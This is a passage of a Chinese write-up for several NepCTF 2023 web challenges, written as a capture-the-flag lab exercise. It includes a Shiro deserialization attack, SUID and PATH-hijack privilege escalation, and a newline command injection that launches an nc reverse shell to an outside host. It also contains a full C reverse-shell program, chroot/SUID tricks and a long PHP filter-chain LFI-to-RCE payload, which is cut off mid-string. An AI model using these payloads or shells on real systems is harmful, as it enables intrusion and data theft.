目录

NepCTF 2023 Web Writeup

ez_java_checkin

Shiro 反序列化,使用 https://github.com/SummerSec/ShiroAttack2

1
[++] 找到key:kPH+bIxk5D2deZiIxcaaaA==

打内存马,发现 flag 没权限读,find 有 SUID

./assets/output.png

经典的 find SUID 提权

1
find test -exec whoami \;

./assets/output2.png

有个非预期:start.sh里面有flag

./assets/1280X1280.PNG

题目附件 下载

独步天下-转生成为镜花水月中的王者

nc 上去直接给shell,flag 没权限读,有出网,无dns,搜一下 SUID

1
2
$ find / -user root -perm /4000 2>/tmp/err
/bin/nmap

nmap 似乎不太正常,会直接执行 ports-alive

1
2
/tmp $ nmap -h
sh: ports-alive: not found

PATH 环境变量不会受到 SUID 影响,可以用来提权,添加 /tmp 目录到 PATH 变量

1
2
3
4
/tmp $ echo $PATH
/sbin:/usr/sbin:/bin:/usr/bin

export PATH=/tmp:$PATH

写入 ports-alive,添加执行权限,再次执行 nmap 将会以 root 权限运行 ports-alive 读到 flag

1
2
3
4
5
6
7
8
9
/tmp $ cat << EOF > ports-alive
> #!/bin/sh
> cat /flag
> EOF
/tmp $ chmod 777 ports-alive
/tmp $ nmap -h
nmap -h
假作真时真亦假,真作假时假亦真
flag{Everything_is_illusory}/tmp $

独步天下-破除虚妄_探见真实

Hint

ports-alive 修正后扫描网段 (ip范围0到100)用基础get包探测获取html

echo -e “GET / HTTP/1.1\r\nHost: 192.168.200.1\r\n\r\n” | nc xx xx

查看 ip

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
/tmp $ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 52:54:00:12:34:56 brd ff:ff:ff:ff:ff:ff
    inet 192.168.200.2/24 brd 192.168.200.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::5054:ff:fe12:3456/64 scope link
       valid_lft forever preferred_lft forever
3: sit0@NONE: <NOARP> mtu 1480 qdisc noop qlen 1000
    link/sit 0.0.0.0 brd 0.0.0.0

上传 fscan 扫描 192.168.200.2/24 网段,扫描速度太快会被杀掉,调整扫描线程不断重试

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
/tmp $ ./fscan -nobr -np -h 192.168.200.0/24
./fscan -nobr -np -h 192.168.200.0/24

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.2
start infoscan
192.168.200.1:80 open
[  374.762584] Out of memory: Killed process 97 (fscan) total-vm:734476kB, anon-rss:36484kB, file-rss:4kB, shmem-rss:0kB, UID:1000 pgtables:160kB oom_score_adj:0
Killed

发现开放端口

1
2
192.168.200.1:80
192.168.200.1:82

82 部署了一个上传服务,frp出来看看

./assets/1.png

上传功能无法使用,ping 功能正常,猜测命令注入,回车绕过,其他特殊字符均被过滤

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
import requests

url = 'http://IP:20082/ping'

data = {
    'ip_address': '127.0.0.1\nls / -al'
}

r = requests.post(url, data)

print(r.text)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.030 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.039 ms

--- 127.0.0.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1000ms
rtt min/avg/max/mdev = 0.030/0.034/0.039/0.007 ms
total 100
drwxr-xr-x    1 root    root    4096 Aug 12 15:24 .
drwxr-xr-x    1 root    root    4096 Aug 12 15:24 ..
-rwxr-xr-x    1 root    root       0 Aug 12 15:24 .dockerenv
drwxr-xr-x    1 ctfuser ctfuser 4096 Aug 12 15:24 app
drwxr-xr-x    1 root    root    4096 Jul 21 13:01 bin
drwxr-xr-x    2 root    root    4096 Apr 24  2018 boot
drwxr-xr-x    6 root    root     360 Aug 12 15:24 dev
drwxr-xr-x    1 root    root    4096 Aug 12 15:24 etc
----------    1 mysql   mysql     26 Aug  2 14:12 flag
-rwxrw----    1 ctf     ctf      154 Aug  2 14:12 flag_mini
drwxr-xr-x    1 root    root    4096 Jul 21 13:02 home
drwxr-xr-x    1 root    root    4096 Jul 21 13:01 lib
drwxr-xr-x    2 root    root    4096 Jul 21 13:01 lib32
drwxr-xr-x    1 root    root    4096 Jul 21 13:00 lib64
drwxr-xr-x    2 root    root    4096 Sep 30  2021 media
drwxr-xr-x    2 root    root    4096 Sep 30  2021 mnt
drwxr-xr-x    2 root    root    4096 Sep 30  2021 opt
dr-xr-xr-x 1275 root    root       0 Aug 12 15:24 proc
drwx------    2 root    root    4096 Sep 30  2021 root
drwxr-xr-x    1 root    root    4096 Aug 12 15:28 run
drwxr-xr-x    1 root    root    4096 Jul 21 13:01 sbin
drwxr-xr-x    2 root    root    4096 Sep 30  2021 srv
dr-xr-xr-x   13 root    root       0 Aug 12 15:24 sys
drwxrwxrwt    1 root    root    4096 Aug 12 15:24 tmp
drwxr-xr-x    1 root    root    4096 Jul 21 13:01 usr
drwxr-xr-x    1 root    root    4096 Jul 21 13:00 var

flag 没权限读,发现可疑进程 identity

1
root         487  0.0  0.0  13544  1668 ?        S    16:27   0:00 ./identity

题目环境

ping.c

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
//gcc -shared -o libping.so ping.c -fPIC
bool validate_input(const char *input) {
    const char *invalid_chars[] = {"sh","chown","chmod","echo","+","&", "|", ";", "$", ">", "<", "`", "\\", "\"", "'", "(", ")", "{", "}", "[", "]"};
    int num_invalid_chars = sizeof(invalid_chars) / sizeof(char *);
    for (int i = 0; i < num_invalid_chars; i++) {
        if (strstr(input, invalid_chars[i])) {
            return false;
        }
    }
    return true;
}

void ping(const char *ip_address, char *result) {
    if (!validate_input(ip_address)) {
        strcpy(result, "Error: Invalid input.");
        return;
    }

    char cmd[256];
    snprintf(cmd, sizeof(cmd), "ping -c 2 %s", ip_address);
    FILE *fp = popen(cmd, "r");
    if (fp == NULL) {
        strcpy(result, "Error: Failed to execute command.");
        return;
    }

    char buffer[4096*2];
    while (fgets(buffer, sizeof(buffer), fp) != NULL) {
        strcat(result, buffer);
    }
    pclose(fp);
}

app.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import os
import ctypes
import ctypes.util
import time
os.environ['FLASK_ENV'] = 'production'
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './'

lib_name='./libping.so'
def load_ping_library():
    # 加载共享库
    mylib = ctypes.CDLL(lib_name)
    return mylib

mylib = load_ping_library()

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/ping', methods=['POST'])
def ping():
    global mylib
    ip_address = request.form['ip_address']
    result = ctypes.create_string_buffer(4096*2)
    mylib.ping(ip_address.encode('utf-8'), result)
    return result.value.decode('utf-8')

@app.route('/upload_avatar', methods=['POST'])
def upload_avatar():
    if request.headers.get('X-Forwarded-For') != '127.0.0.1':
        return "You are not allowed to upload files from this IP address." + " Your IP is: " + request.headers.get('X-Forwarded-For')
    if 'file' not in request.files:
        return redirect(request.url)
    file = request.files['file']
    if file.filename == '':
        return redirect(request.url)
    if not allowed_file(file.filename):
        return 'Invalid file format. Only PNG files are allowed.'
    # 限制文件大小为 5KB
    MAX_FILE_SIZE = 5 * 1024
    if len(file.read()) > MAX_FILE_SIZE:
        return 'File too large. Maximum size is 5KB.'
    # 将文件保存到服务器
    file.seek(0)  # 重置文件读取指针
    file.save(os.path.join(app.config['UPLOAD_FOLDER'], 'avatar.png'))
    return redirect(url_for('index'))

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() == 'png'

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=82,debug=False,use_reloader=False)

identity.c

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sched.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/seccomp.h>
#include <openssl/md5.h>
#include <sys/resource.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdint.h>
//gcc -o test1 test1.c -lcrypto -lm -lrt
void init_dir() {
    int fd=open("/home/ctf/sandbox/",O_RDONLY);
    if(fd<2) {
        exit(0);
    }
    MD5_CTX ctx;
    char md5_res[17]="";
    char key[100]="NEPCTF_6666";
    char sandbox_dir[100]="/home/ctf/sandbox/";
    char dir_name[100]="/home/ctf/sandbox/";
    FILE *new_pip;
    int i;
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    struct rlimit r;
    r.rlim_max = r.rlim_cur = 0;
    setrlimit(RLIMIT_CORE, &r);
    memset(key, 0, sizeof(key));
    MD5_Init(&ctx);
    MD5_Update(&ctx, key, strlen(key));
    MD5_Final(md5_res, &ctx);
    for (int i = 0; i < 16; i++) 
            sprintf(&(dir_name[i*2 + 18]), "%02hhx", md5_res[i]&0xff);
    char cmd[100];
    
    mkdir(dir_name, 0755);
    if (chdir(dir_name)==-1) {
        puts("chdir err, exiting\n");
        exit(1);
    }
    sprintf(cmd,"%s%s","chmod 777 ",dir_name);
    system(cmd);
    mkdir("bin", 0777);
    mkdir("lib", 0777);
    mkdir("lib64", 0777);
    mkdir("lib/x86_64-linux-gnu", 0777);
    system("cp /bin/bash bin/sh");
    system("cp /lib/x86_64-linux-gnu/libdl.so.2 lib/x86_64-linux-gnu/");
    system("cp /lib/x86_64-linux-gnu/libc.so.6 lib/x86_64-linux-gnu/");
    system("cp /lib/x86_64-linux-gnu/libtinfo.so.5 lib/x86_64-linux-gnu/");
    system("cp /lib64/ld-linux-x86-64.so.2 lib64/");
    if (chroot(".") == -1) {
        puts("chroot err, exiting\n");
        exit(1);
    }
}
void command(int server_socket,int client_socket) {
    char buf[0x666];
    memset(buf,0,0x666);
    write(client_socket,"Tmp-Command:",sizeof("Tmp-Command:"));
    read(client_socket, buf, 0x10);
    setgid(1001);
    setuid(1001);
    popen(buf,"w");
}
int get_ip_address(const char *interface_name, char *ip_address) {
    int sockfd;
    struct ifreq ifr;
    // Create a socket
    sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    if (sockfd < 0) {
        perror("Socket creation failed");
        return -1;
    }
    // Set the interface name in the ifreq structure
    strncpy(ifr.ifr_name, interface_name, IFNAMSIZ - 1);
    ifr.ifr_name[IFNAMSIZ - 1] = '\0';
    // Get the IP address using the SIOCGIFADDR ioctl request
    if (ioctl(sockfd, SIOCGIFADDR, &ifr) == -1) {
        perror("ioctl failed");
        close(sockfd);
        return -1;
    }
    close(sockfd);
    // Convert the binary IP address to a human-readable string
    struct sockaddr_in *addr = (struct sockaddr_in *)&ifr.ifr_addr;
    strcpy(ip_address, inet_ntoa(addr->sin_addr));
    return 0;
}
int main(int argc, char **argv) {
    init_dir();
    int flag=1;
    // Server setup
    int server_socket, client_socket;
    struct sockaddr_in server_addr, client_addr;
    socklen_t client_len = sizeof(client_addr);
    // Create socket
    server_socket = socket(AF_INET, SOCK_STREAM, 0);
    if (server_socket < 0) {
        perror("Socket creation failed");
        exit(0);
    }
    // Set up server address
    memset(&server_addr, 0, sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = INADDR_ANY;
    server_addr.sin_port = htons(9999);
    // Bind socket to address and port
    if (bind(server_socket, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
        perror("Bind failed");
        exit(0);
    }
    // Listen for incoming connections
    if (listen(server_socket, 1) < 0) {
        perror("Listen failed");
        exit(0);
    }
    printf("Server is listening on port 9999...\n");
    // Accept connection from client
    client_socket = accept(server_socket, (struct sockaddr *)&client_addr, &client_len);
    if (client_socket < 0) {
        client_socket = accept(server_socket, (struct sockaddr *)&client_addr, &client_len);
    }
    char client_ip[INET_ADDRSTRLEN];
    inet_ntop(AF_INET, &client_addr.sin_addr, client_ip, INET_ADDRSTRLEN);
    printf("Client connected from IP: %s\n", client_ip);
    char ip_address[INET_ADDRSTRLEN];
    const char *interface_name = "eth0";
    if (get_ip_address(interface_name, ip_address) == 0) {
        printf("IP address of eth0: %s\n", ip_address);
    } else {
        printf("Failed to get the IP address of eth0.\n");
    }
    while(flag) {
        if(strcmp(client_ip,ip_address)) {
            send(client_socket,"Only nc by localhost!\n",sizeof("Only nc by localhost!\n"),0);
            exit(0);
        } else {
            flag=0;
        }
    }
    command(server_socket,client_socket);
    return 0;
}

反弹 shell,使用 ? 绕过

1
2
3
data = {
    'ip_address': '127.0.0.1\nnc IP 9988 -e /bin/bas?'
}

打一次就要重启容器(

和 identity 交互拿到shell, 然后 escape chroot jail,因为处于 chroot jail 环境中,没有办法用 /dev 反弹 shell。写一个可执行文件反弹 shell 或者 msf 打都可以

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

#define REMOTE_ADDR "xxx.xxx.xxx.xxx"
#define REMOTE_PORT 8000

int main(int argc, char *argv[])
{
    struct sockaddr_in sa;
    int s;

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    sa.sin_port = htons(REMOTE_PORT);

    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);

    execve("/bin/sh", 0, 0);
    return 0;
}

./assets/fc489673-43d6-45af-a201-8384b38a7de9.png

不断尝试后,发现可以用两个用户 ctfuser 和 ctf 配合读 flag,并没有逃逸出来。首先切换到 jail 的根目录 /home/ctf/sandbox/d41d8cd98f00b204e9800998ecf8427e 写个 suid.c 用于设置 flag 权限

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>

int main(int argc, char *argv[])
{
    int r = setuid(1001);
    if (r != 0) {
        printf("setuid failed\n");
        return -1;
    }

    r = chmod("/flag_mini", 0755);
    if (r != 0) {
        printf("chmod failed\n");
        return -1;
    }
    
    return 0;
}

编译后文件所有者为 ctfuser,需要所有者是 ctf 用户。在 chroot jail中复制可以改变所有者,然后设置 suid

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>

int cp(const char *to, const char *from)
{
    int fd_to, fd_from;
    char buf[4096];
    ssize_t nread;
    int saved_errno;

    fd_from = open(from, O_RDONLY);
    if (fd_from < 0)
        return -1;

    fd_to = open(to, O_WRONLY | O_CREAT | O_EXCL, 0666);
    if (fd_to < 0)
        goto out_error;

    while (nread = read(fd_from, buf, sizeof buf), nread > 0)
    {
        char *out_ptr = buf;
        ssize_t nwritten;

        do {
            nwritten = write(fd_to, out_ptr, nread);

            if (nwritten >= 0)
            {
                nread -= nwritten;
                out_ptr += nwritten;
            }
            else if (errno != EINTR)
            {
                goto out_error;
            }
        } while (nread > 0);
    }

    if (nread == 0)
    {
        if (close(fd_to) < 0)
        {
            fd_to = -1;
            goto out_error;
        }
        close(fd_from);

        /* Success! */
        return 0;
    }

  out_error:
    saved_errno = errno;

    close(fd_from);
    if (fd_to >= 0)
        close(fd_to);

    errno = saved_errno;
    return -1;
}

int main(void)
{
    int result = cp("/suid_cp4", "/suid");
    if (result != 0){
        printf("Error: %d\n", errno);
    }
    chmod("/suid_cp4", 04755);
}

执行后,可以看到成功设置了 suid bit 并且所有者为 ctf

./assets/ec817edc-45e1-4531-859a-233e44fd661d.png

使用 chroot jail 外的 ctfuser 用户执行 suid_cp4,此时 flag_mini 已经有可读权限了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
ctfuser@12d071a1db69:/home/ctf/sandbox/d41d8cd98f00b204e9800998ecf8427e$ ls -al /
</sandbox/d41d8cd98f00b204e9800998ecf8427e$ ls -al /                     
total 100
drwxr-xr-x   1 root    root    4096 Aug 12 18:11 .
drwxr-xr-x   1 root    root    4096 Aug 12 18:11 ..
-rwxr-xr-x   1 root    root       0 Aug 12 18:11 .dockerenv
drwxr-xr-x   1 ctfuser ctfuser 4096 Aug 12 18:11 app
drwxr-xr-x   1 root    root    4096 Jul 21 13:01 bin
drwxr-xr-x   2 root    root    4096 Apr 24  2018 boot
drwxr-xr-x   6 root    root     360 Aug 12 18:11 dev
drwxr-xr-x   1 root    root    4096 Aug 12 18:11 etc
----------   1 mysql   mysql     26 Aug  2 14:12 flag
-rwxr-xr-x   1 ctf     ctf      154 Aug  2 14:12 flag_mini
drwxr-xr-x   1 root    root    4096 Jul 21 13:02 home
drwxr-xr-x   1 root    root    4096 Jul 21 13:01 lib
drwxr-xr-x   2 root    root    4096 Jul 21 13:01 lib32
drwxr-xr-x   1 root    root    4096 Jul 21 13:00 lib64
drwxr-xr-x   2 root    root    4096 Sep 30  2021 media
drwxr-xr-x   2 root    root    4096 Sep 30  2021 mnt
drwxr-xr-x   2 root    root    4096 Sep 30  2021 opt
dr-xr-xr-x 732 root    root       0 Aug 12 18:11 proc
drwx------   2 root    root    4096 Sep 30  2021 root
drwxr-xr-x   1 root    root    4096 Aug 12 18:12 run
drwxr-xr-x   1 root    root    4096 Jul 21 13:01 sbin
drwxr-xr-x   2 root    root    4096 Sep 30  2021 srv
dr-xr-xr-x  13 root    root       0 Aug 12 18:11 sys
drwxrwxrwt   1 root    root    4096 Aug 12 19:37 tmp
drwxr-xr-x   1 root    root    4096 Jul 21 13:01 usr
drwxr-xr-x   1 root    root    4096 Jul 21 13:00 var

ctfuser@12d071a1db69:/home/ctf/sandbox/d41d8cd98f00b204e9800998ecf8427e$ cat /flag_mini
<ox/d41d8cd98f00b204e9800998ecf8427e$ cat /flag_mini                     
恭喜你成功完成了渗透大师的第一步,但是你不能止步于此,还有一个宝藏在王之宝库!flag{Welcome_The_King_of_Sideways_Escapes}

独步天下-破除试炼_加冕成王

应该是打 mysql

打到这个题发现非预期了,独步天下-转生成为镜花水月中的王者 这个题创建路由器的时候会以 root 权限执行 /app/run.sh

/app/run.sh

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/bin/sh

#sed -i 's/#net.ipv4.ip_forward = 1/net.ipv4.ip_forward = 1/' /etc/sysctl.conf

#!/bin/bash

# 检测并杀死包含 "qemu-system-x86_64" 的进程
processes=$(pgrep qemu-system 2>/dev/null)

if [ -n "$processes" ]; then
  kill $processes >/dev/null 2>&1
fi

# 启用IP转发,允许主机充当路由器,为虚拟机提供网络访问。
echo "1" > /proc/sys/net/ipv4/ip_forward

# 创建一个tap设备并启动它
tunctl -t tap0 -u root
ip link set tap0 up

# 创建一个新的网络桥,并将tap设备添加进去
brctl addbr br0
brctl addif br0 tap0

# 给br0分配IP地址
ip addr add 192.168.200.1/24 dev br0
ip link set br0 up

# 启动QEMU虚拟机,并将网络接口连接到tap0
qemu-system-x86_64 \
    -m 128M \
    -kernel /app/bzImage \
    -monitor /dev/null \
    -initrd /app/rootfs.cpio \
    -append "root=/dev/ram console=ttyS0 oops=panic panic=1 quiet kaslr ip=192.168.200.2::192.168.200.1:255.255.255.0" \
    -cpu kvm64,+smep,+smap\
    -netdev tap,id=network0,ifname=tap0,script=no,downscript=no \
    -device virtio-net-pci,netdev=network0 \
    -nographic \
    -no-reboot

# 设置NAT,使虚拟机可以访问外部网络
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -A FORWARD -i br0 -j ACCEPT
iptables -A FORWARD -o br0 -j ACCEPT

并且 run.sh ctfuser 用户具有写权限, 修改读取flag即可

1
2
cat /flag > /tmp/flag1
cat /flag_mini > /tmp/flag2

nc 连接之后,可以看到 flag 已经被复制出来了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
ctfuser@12d071a1db69:/tmp$ ls -al 
ls -al
total 20
drwxrwxrwt 1 root  root  4096 Aug 12 19:56 .
drwxr-xr-x 1 root  root  4096 Aug 12 18:11 ..
-rw-r--r-- 1 root  root    26 Aug 12 19:56 flag1
-rw-r--r-- 1 root  root   154 Aug 12 19:56 flag2
drwx------ 2 mysql mysql 4096 Jul 21 13:02 tmp.vOLX9p2dQG

ctfuser@12d071a1db69:/tmp$ cat /tmp/flag1
cat /tmp/flag1
flag{You_Will_be_royalty}
ctfuser@12d071a1db69:/tmp$ cat /tmp/flag2
cat /tmp/flag2
恭喜你成功完成了渗透大师的第一步,但是你不能止步于此,还有一个宝藏在王之宝库!flag{Welcome_The_King_of_Sideways_Escapes}

Ez_include

最近比较热门的用 filterchain 打 LFI2RCE

https://github.com/synacktiv/php_filter_chain_generator

https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters#full-script

通过黑盒测试发现题目限制了后缀,而可以读到的文件是中文的,直接用上面的工具打不通,在 filterchain 最前面先 base64 一下就可以了

1
php://filter/convert.base64-encode|convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_J